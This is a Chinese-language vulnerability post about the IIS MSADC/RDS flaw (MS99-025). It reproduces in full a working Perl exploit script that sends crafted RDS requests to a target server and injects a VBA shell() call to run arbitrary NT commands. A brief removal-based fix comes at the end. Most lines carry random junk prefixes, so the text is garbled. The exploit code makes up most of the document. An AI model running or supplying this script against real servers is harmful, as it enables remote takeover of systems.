IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$3kH~3{] <9b&<K: 涉及程序:
es0hm2HT3 Microsoft NT server
sV*H`N')S wVtwx0|1 描述:
ChQxa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Lu%b9Jk G=bCNn< 详细:
[()koU#w. 如果你没有时间读详细内容的话,就删除:
7F.4Ga; c:\Program Files\Common Files\System\Msadc\msadcs.dll
[mueZQyI?0 有关的安全问题就没有了。
YuwI&)l >y+B 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
tfWS)y7 :[d9tm 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
MLp9y# 关于利用ODBC远程漏洞的描述,请参看:
_,*r_D61S `XDl_E+>l http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l;E(I_
i) w&.aQGR# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
M
D#jj3y http://www.microsoft.com/security/bulletins/MS99-025faq.asp AQ^u a$fnh3j[ 这里不再论述。
#4;wjcGWw q ZZK#,Qb 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
)Q JUUn# (**oRwr% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|k9
C/ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
m(P]k'ZH? -D:b*D 1{.9uw"2S #将下面这段保存为txt文件,然后: "perl -x 文件名"
X5w$4Kj&4l :rP=t , #!perl
asqV~n #
9A#i_#[R # MSADC/RDS 'usage' (aka exploit) script
iN.n8MN=I #
$<OD31T # by rain.forest.puppy
y>ktcuML #
eszG0Wu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
43 :X,\~) # beta test and find errors!
1xx}~|F?| 1B\WA8 use Socket; use Getopt::Std;
0tJZ4(0 getopts("e:vd:h:XR", \%args);
tT._VK]o&R BFt> 9x]T print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
o#N+Y?O @'|~v<<WZ if (!defined $args{h} && !defined $args{R}) {
6wg^FD_Q print qq~
f?)-}\[IR{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
@E8+C8' -h <host> = host you want to scan (ip or domain)
HE\K@3- -d <seconds> = delay between calls, default 1 second
[_:nHZb -X = dump Index Server path table, if available
)YI(/*+] -v = verbose
A?0Nm{O;3v -e = external dictionary file for step 5
O33`+UV"W &9>vl* Or a -R will resume a command session
%]7d`/ 2t1ZIyv3D ~; exit;}
Kf-JcBsrT 7x8
yxE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(QiAisE if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
fTX;.M/%
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
kSo"Ak! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
DIUjn;>k8 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
o,wUc"CE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;9'OOz|+1 oD@7
SF if (!defined $args{R}){ $ret = &has_msadc;
'O-"\J\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ABYcH]m :2)/FPL6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d0 /#nz . "cmd /c ";
Z #m+ObHK1 $in=<STDIN>; chomp $in;
.o}v#W+st $command="cmd /c " . $in ;
NZz 8j^ kvj#c if (defined $args{R}) {&load; exit;}
U`s{Jm W(/h Vt print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HLi%%"' &try_btcustmr;
7o}J%z JjS? print "\nStep 2: Trying to make our own DSN...";
cl/_JQ& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
hFBe,'3M ]}X print "\nStep 3: Trying known DSNs...";
J?$,c4;W2 &known_dsn;
'4<1 1(U P1f[%1 print "\nStep 4: Trying known .mdbs...";
-D~%|).' &known_mdb;
|vzl. ^"- h@wgd~X9 if (defined $args{e}){
Z5]>pJFq, print "\nStep 5: Trying dictionary of DSN names...";
l9H!au= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7cMv/g^h@ rQ snhv print "Sorry Charley...maybe next time?\n";
An/|+r\ exit;
>c}u>]D AkiDL=;w ##############################################################################
.5{ab\_af =H]@n|$( sub sendraw { # ripped and modded from whisker
2I{"XB sleep($delay); # it's a DoS on the server! At least on mine...
mB)bcuPv my ($pstr)=@_;
1yY0dOoLG) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S`Rs82> die("Socket problems\n");
[=`q>|;pOv if(connect(S,pack "SnA4x8",2,80,$target)){
hK|Ul]qI select(S); $|=1;
8Xs8A. print $pstr; my @in=<S>;
I1&aM}y{G select(STDOUT); close(S);
MnW+25=N return @in;
{BU;$ } else { die("Can't connect...\n"); }}
B#1;r-^P< IEvdV6{K ##############################################################################
Jj%K=sw ""~ajy sub make_header { # make the HTTP request
Yu2Bkq+ my $msadc=<<EOT
Ny)X+2Ae POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C+&l<
fM& User-Agent: ACTIVEDATA
DLNbo2C Host: $ip
jb!i$/%w Content-Length: $clen
ZqO^f*F>h Connection: Keep-Alive
18:%~>.! 0+b1vhQ ADCClientVersion:01.06
#C@FYOf* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,5<Cd,`* cj5+NM" --!ADM!ROX!YOUR!WORLD!
]5:8Z@ Content-Type: application/x-varg
Pj%|\kbNs Content-Length: $reqlen
%D "I aC)!T EOT
^5
Tqy(M ; $msadc=~s/\n/\r\n/g;
&b& , return $msadc;}
QkC(uS q'MZ R'<@ ##############################################################################
;gr9/Vl IIx#2r sub make_req { # make the RDS request
uY'HT|@:{ my ($switch, $p1, $p2)=@_;
7. ;3e@s my $req=""; my $t1, $t2, $query, $dsn;
y"wShAR -z(+/ /K:# if ($switch==1){ # this is the btcustmr.mdb query
@Do= k $query="Select * from Customers where City=" . make_shell();
;sFF+^~L $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
S|+o-[e8O $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
4H]L~^CD |P}y,pNQ elsif ($switch==2){ # this is general make table query
u,4eCxYE$ $query="create table AZZ (B int, C varchar(10))";
nzeX[* $dsn="$p1";}
JqiP>4Uwm^ }JAG7L&{ elsif ($switch==3){ # this is general exploit table query
jW@Uo=I[ $query="select * from AZZ where C=" . make_shell();
}RqK84K $dsn="$p1";}
>[*qf9$ bA->{OPkT elsif ($switch==4){ # attempt to hork file info from index server
GR32S=\ $query="select path from scope()";
Yg1X $dsn="Provider=MSIDXS;";}
!g2+w$YVa sD wqH.L elsif ($switch==5){ # bad query
lHX72s|V $query="select";
b;UJ 88 $dsn="$p1";}
cYt!n5w~W $E.I84UfX $t1= make_unicode($query);
N87B8rDl $t2= make_unicode($dsn);
?FcAXA/J{ $req = "\x02\x00\x03\x00";
cExS7~* $req.= "\x08\x00" . pack ("S1", length($t1));
*;*r8[U}q $req.= "\x00\x00" . $t1 ;
rw
#$lP $req.= "\x08\x00" . pack ("S1", length($t2));
um0N)&iY $req.= "\x00\x00" . $t2 ;
P";'jVcR $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
83q6Sv return $req;}
^y%T~dLkp' n.0fVV-A ##############################################################################
ZJs$STJ* o"#\
> sub make_shell { # this makes the shell() statement
IO-Ow! return "'|shell(\"$command\")|'";}
[ibu/W$ ~$?ZK]YOrx ##############################################################################
M/gGoE{ d>C$+v> sub make_unicode { # quick little function to convert to unicode
'b{]:Y my ($in)=@_; my $out;
`W*U4?M for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
D}X\Ca"h return $out;}
8-77d^cprR 'Qe;vZ31K ##############################################################################
@s2y~0}# 'q:`? nJ^ sub rdo_success { # checks for RDO return success (this is kludge)
:6\qpex my (@in) = @_; my $base=content_start(@in);
:20W\P<O!A if($in[$base]=~/multipart\/mixed/){
CizX<Cr} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B&uz;L3 return 0;}
k\GcHI- RrQJ/ts7} ##############################################################################
[u*5z.^ A~t
j/yq9 sub make_dsn { # this makes a DSN for us
"a U
aotx my @drives=("c","d","e","f");
Y/zj[> print "\nMaking DSN: ";
W:L
AP
R foreach $drive (@drives) {
WI-1)1t print "$drive: ";
'1s0D] my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:Fvrs(
x "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
u:_,GQ )\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;;N9>M?b $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
OpYY{f return 0 if $2 eq "404"; # not found/doesn't exist
AkQ~k0i}b if($2 eq "200") {
!d0kV,F: foreach $line (@results) {
Y`SvMkP)+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
D!IY&H,wo } return 0;}
_"rgET`vW A2jUmK.& ##############################################################################
:X
(=z;B;N DlMW(4( sub verify_exists {
cHt#us my ($page)=@_;
N5b!.B x-w my @results=sendraw("GET $page HTTP/1.0\n\n");
iqQD{SRt{ return $results[0];}
oEZdd#*; %M|hA#04vZ ##############################################################################
}Ud*TOo ` _>X+ZlpU: sub try_btcustmr {
( 0_2sfS my @drives=("c","d","e","f");
YglmX"fLf my @dirs=("winnt","winnt35","winnt351","win","windows");
<B6H. P = dVT$ VQg foreach $dir (@dirs) {
@QP z#- print "$dir -> "; # fun status so you can see progress
M:B=\&.O foreach $drive (@drives) {
338k?nHxv print "$drive: "; # ditto
n8ZZ#}Nhg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
q'Tf,a $reqlenlen=length( "$reqlen" );
'@k+4y9q? $clen= 206 + $reqlenlen + $reqlen;
%aVq+kC h x-&@wMqkc my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'kO!^6=4M if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
lp%pbx43s else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ZeaA%y67U ~%kkeh\j ##############################################################################
P:MT*ra*, t=W}SH sub odbc_error {
mSl.mi(JiZ my (@in)=@_; my $base;
K^<BW(s my $base = content_start(@in);
+}os&[S if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
UhQj
Qaa~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UJ')I`zuI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A@{PZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PP33i@G return $in[$base+4].$in[$base+5].$in[$base+6];}
>V8-i` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K} X&AJ5A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
=R$u[~Xl2X $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@>Km_Ax -Cc^d!:: ##############################################################################
^ Q ? CU2*z(]& sub verbose {
_H7x9
y= my ($in)=@_;
#( 146 return if !$verbose;
'$]97b7G print STDOUT "\n$in\n";}
>$/>#e~ O) n~](sC\ ##############################################################################
9gK`E y(yHt=r sub save {
HJ[c M6$2 my ($p1, $p2, $p3, $p4)=@_;
@>2i+)=E5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
hH8oyIC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
<
!C)x close OUT;}
['tY4$L( SP_75BJ ##############################################################################
R=2FNP !@*7e:l sub load {
`%"\@< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#r~# I}U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r1{@Ucw2 @p=<IN>; close(IN);
">,|V-H $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ag;pN*z $target= inet_aton($ip) || die("inet_aton problems");
oDA XiY$u print "Resuming to $ip ...";
g(7rTyp4) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hT&Y#fh
if($p[1]==1) {
>rmqBDKaQ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ZdWm:(nkU $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~t~k2^)|" my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
0#Y5_i|p if (rdo_success(@results)){print "Success!\n";}
J$w<$5UY else { print "failed\n"; verbose(odbc_error(@results));}}
`MN4uC elsif ($p[1]==3){
i^Y+?Sx if(run_query("$p[3]")){
CXx*_@}MU print "Success!\n";} else { print "failed\n"; }}
A>;bHf@ elsif ($p[1]==4){
:g=qz~2Xk if(run_query($drvst . "$p[3]")){
umH40rX+ print "Success!\n"; } else { print "failed\n"; }}
MKD1V8i exit;}
t:
;Pj9 Y0dEH^I ##############################################################################
Q%f^)HZGR S3*`jF>q sub create_table {
/cQueUME` my ($in)=@_;
~#[yJNYQ $reqlen=length( make_req(2,$in,"") ) - 28;
SaAFz&WRl $reqlenlen=length( "$reqlen" );
;LPfXpR $clen= 206 + $reqlenlen + $reqlen;
CMG&7(MR my @results=sendraw(make_header() . make_req(2,$in,""));
'ud{m[| return 1 if rdo_success(@results);
N&+x+;Kx my $temp= odbc_error(@results); verbose($temp);
U!?_W=? return 1 if $temp=~/Table 'AZZ' already exists/;
w3obIJm return 0;}
8hz^%vm 2M#Q.F ##############################################################################
RSyUaA PI:4m%[ sub known_dsn {
(pCrmyB # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
):6 8%, my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5z8d}
I "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Ms5ap<q# "banner", "banners", "ads", "ADCDemo", "ADCTest");
6azGhxh n,V[eW#m'L foreach $dSn (@dsns) {
t~EPn. print ".";
m '|bGV next if (!is_access("DSN=$dSn"));
0KcyLAJ if(create_table("DSN=$dSn")){
:bu/^mW[ print "$dSn successful\n";
7uS~MW if(run_query("DSN=$dSn")){
NMa} {*sQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RK'\C\gMDu print "Something's borked. Use verbose next time\n";}}} print "\n";}
XSe=sHEI &0OG*}gi ##############################################################################
'KS,'% uk<4+x,2) sub is_access {
F3v!AvA| my ($in)=@_;
@uqd.Q $reqlen=length( make_req(5,$in,"") ) - 28;
uGf@ $reqlenlen=length( "$reqlen" );
HZzD VCU $clen= 206 + $reqlenlen + $reqlen;
MSQEO4ge my @results=sendraw(make_header() . make_req(5,$in,""));
o/$} my $temp= odbc_error(@results);
fo*2:?K& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SIF/-{i(X return 0;}
w(*vj l6T-}h:= ##############################################################################
LEbB(x;@ R[h9"0Y^ sub run_query {
|"X*@s\' my ($in)=@_;
]_mb7X> $reqlen=length( make_req(3,$in,"") ) - 28;
b,l$1{ $reqlenlen=length( "$reqlen" );
?>D+ge $clen= 206 + $reqlenlen + $reqlen;
fnjPSts0 my @results=sendraw(make_header() . make_req(3,$in,""));
zH?! return 1 if rdo_success(@results);
Xk~D$~4< my $temp= odbc_error(@results); verbose($temp);
?yrX)3hyH return 0;}
RVnjNy;O` I+%[d^, ##############################################################################
[64:4/<} 5Md=-,'J! sub known_mdb {
[i21FX my @drives=("c","d","e","f","g");
%B2'~|g my @dirs=("winnt","winnt35","winnt351","win","windows");
:KSV4>X[%a my $dir, $drive, $mdb;
I*:%ni2 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Go`vfm"S vjbASFF0= # this is sparse, because I don't know of many
er("wtM my @sysmdbs=( "\\catroot\\icatalog.mdb",
oA7tEu "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Dzpq_F!;V "\\system32\\certmdb.mdb",
6y-@iJ*ld; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2RVN\?s: j"t(0m my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
WrnrFz "\\cfusion\\cfapps\\forums\\forums_.mdb",
g+8OekzB5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
du
$:jN\} "\\cfusion\\cfapps\\security\\realm_.mdb",
CmP9Q2 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
gDQ^)1k "\\cfusion\\database\\cfexamples.mdb",
G)AqbY "\\cfusion\\database\\cfsnippets.mdb",
MD}w Y><C "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f&NgS+<K$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
=J]&c?I "\\cfusion\\brighttiger\\database\\cleam.mdb",
,Q3T
Tno
, "\\cfusion\\database\\smpolicy.mdb",
9a[9i}_ "\\cfusion\\database\cypress.mdb",
m<<+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
a{ L%7 "\\website\\cgi-win\\dbsample.mdb",
NlA,'`, "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
bbDZ#DK" "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|0&IXOW"XF ); #these are just
v^sv<4*% foreach $drive (@drives) {
paA(C|%{ foreach $dir (@dirs){
+C^nO=[E foreach $mdb (@sysmdbs) {
_>o:R$ %} print ".";
w1FcB$ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
SpIv#? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<v"R.< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
z{%<<pZ } else { print "Something's borked. Use verbose next time\n"; }}}}}
lne|5{h BwN0!lsF3 foreach $drive (@drives) {
pE3?"YO foreach $mdb (@mdbs) {
SJlr53 print ".";
rP'me2
B if(create_table($drv . $drive . $dir . $mdb)){
=ke2;}X print "\n" . $drive . $dir . $mdb . " successful\n";
=1@u if(run_query($drv . $drive . $dir . $mdb)){
2,y|EpG# print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
'NbHa! } else { print "Something's borked. Use verbose next time\n"; }}}}
G~]Uk*M
q }
k`cfG\;r ^L,K& Jd ##############################################################################
^7`BP%6 OW&!at sub hork_idx {
~V:\ _{mE print "\nAttempting to dump Index Server tables...\n";
N_LM/of|D print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
h,(26 y/s $reqlen=length( make_req(4,"","") ) - 28;
CmWeY$Jb $reqlenlen=length( "$reqlen" );
j}#w)M $clen= 206 + $reqlenlen + $reqlen;
[DYQ"A=)d my @results=sendraw2(make_header() . make_req(4,"",""));
Ky`qskvu if (rdo_success(@results)){
=?5]()'*n my $max=@results; my $c; my %d;
w$>u b@= for($c=19; $c<$max; $c++){
8:q1~`?5"b $results[$c]=~s/\x00//g;
L@rcK!s,lD $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
DVO.FTV^` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
lPe&h]@ > $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
7kC^
30@T3 $d{"$1$2"}="";}
8 %:Iv(UMk foreach $c (keys %d){ print "$c\n"; }
2/U.|*mH } else {print "Index server doesn't seem to be installed.\n"; }}
iR HQ:Y! b;L\EB ##############################################################################
~kV/!= ~EW(Gs!=C sub dsn_dict {
YByLoM* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Q1lyj7c#x while(<IN>){
M+oHtX$ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
XjB W9a next if (!is_access("DSN=$dSn"));
05|=`eJ if(create_table("DSN=$dSn")){
)| ccX print "$dSn successful\n";
MnmVl"(/ if(run_query("DSN=$dSn")){
hy9\57_# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
AI2~Jp print "Something's borked. Use verbose next time\n";}}}
[=C6U_vU print "\n"; close(IN);}
v<k?Vu )J=! L\ ##############################################################################
D2#ZpFp"h V( }:=eK sub sendraw2 { # ripped and modded from whisker
oE6tauQn sleep($delay); # it's a DoS on the server! At least on mine...
z xEL+ P my ($pstr)=@_;
7o\@>rNWP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y4yhF8E>;U die("Socket problems\n");
]43/`FX if(connect(S,pack "SnA4x8",2,80,$target)){
L]7=?vN=8 print "Connected. Getting data";
/>C^WQI^ open(OUT,">raw.out"); my @in;
53_Hl]#qZ select(S); $|=1; print $pstr;
7K12 G!) while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}f%} v close(OUT); select(STDOUT); close(S); return @in;
`&qL(66 } else { die("Can't connect...\n"); }}
n>z9K') xl{=Y< ; ##############################################################################
5#6|j?_a :x3QRF sub content_start { # this will take in the server headers
t}_r]E,{u my (@in)=@_; my $c;
<(#(hDwy for ($c=1;$c<500;$c++) {
0J*??g-n if($in[$c] =~/^\x0d\x0a/){
*YI98 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
yHYsZ,GE else { return $c+1; }}}
`K"L /I9 return -1;} # it should never get here actually
3F"lXguS YO`]UQ|dc ##############################################################################
Brw@g8w-X t}a: p6D] sub funky {
kb%;=t2 my (@in)=@_; my $error=odbc_error(@in);
A.F%Ycq if($error=~/ADO could not find the specified provider/){
a9e>iU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
2B1q*`6R exit;}
P.se'z)E if($error=~/A Handler is required/){
rE7G{WII print "\nServer has custom handler filters (they most likely are patched)\n";
PxX4[ P exit;}
LG0;#3YwH if($error=~/specified Handler has denied Access/){
h#I>M`| print "\nServer has custom handler filters (they most likely are patched)\n";
$V;i
'(&7 exit;}}
k:i4=5^*GX [>3./YH` ##############################################################################
#!B4 u?"m I@\lN&HC sub has_msadc {
BkAm/R my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pp?D7S my $base=content_start(@results);
m[osg< CR_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@)F )S7 return 0;}
eSn+ B;
1y&\5kB ########################
@3i\%R)n; e)IzQ7Zex 2y\E[j A 解决方案:
_rMg}F" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
AF{\6<m 2、移除web 目录: /msadc